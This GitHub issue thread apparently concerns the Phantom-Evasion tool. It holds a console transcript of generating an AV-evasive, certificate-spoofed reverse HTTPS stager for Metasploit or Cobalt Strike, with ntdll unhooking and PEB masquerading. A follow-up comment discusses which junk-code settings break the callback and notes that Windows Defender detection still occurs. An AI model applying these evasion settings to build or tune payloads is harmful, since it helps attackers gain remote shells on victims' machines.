You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Nov 6, 2023. It is now read-only.
Don't know if I do something wrong but if I execute these File the process created consumes 50% of the cpu usage, but my msfconsole won't recognise any connections. on reverse_tcp just the same
[+] MODULE DESCRIPTION:
Pure C reverse httpsstager
compatible with metasploit and cobaltstrike beacon
[>] Local process stage execution type:
> Thread
> APC
[>] Local Memory allocation type:
> Virtual_RWX
> Virtual_RW/RX
> Virtual_RW/RWX
> Heap_RWX
[>] AUTOCOMPILE format: exe,dll
Press Enter to continue:
[>] Insert Target architecture (default:x86):x64
[>] Insert LHOST: 192.168.*.***
[>] Insert LPORT: 4444
[>] Insert Exec-method (default:Thread):
[>] Insert Memory allocation type (default:Virtual_RWX):
[>] Insert Junkcode Intesity value (default:10):
[>] Insert Junkcode Frequency value (default: 10):
[>] Insert Junkcode Reinjection Frequency (default: 0):3
[>] Insert Evasioncode Frequency value (default: 10):20
[>] Dynamically load windows API? (Y/n):
[>] Add Ntdll api Unhooker? (Y/n):
[>] Masq peb process? (Y/n):
[>] Insert fake process path?(default:C:\windows\system32\notepad.exe):
[>] Insert fake process commandline?(default:empty):
[>] Strip executable? (Y/n):
[>] Use certificate spoofer and sign executable? (Y/n):
[>] Insert url target for certificate spoofer (default:www.windows.com:443):
[>] Insert certificate description (default:Notepad Benchmark Util):
[>] Insert output format (default:exe):
[>] Insert output filename:torpedo
[>] Generating code...
[>] Compiling...
[>] Strip binary...
[>] Sign Executable
[>] Signing torpedo.exe with osslsigncode...
[>] Succeeded
[<>] File saved in Phantom-Evasion folder
[>] Press Enter to continue
The text was updated successfully, but these errors were encountered:
Played around a little with the values and figured out that if you change the “Insert Junkcode” values too much, it will break the reverse_tcp functionality. But all EXEs who have a working reverse_tcp function are detected by Windows Defender on Win10 with all updates. Even if you have an EXE who will not be detected by Windows Defender, it will be detected on execution at the latest.
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.
Don't know if I do something wrong but if I execute these File the process created consumes 50% of the cpu usage, but my msfconsole won't recognise any connections. on reverse_tcp just the same
The text was updated successfully, but these errors were encountered: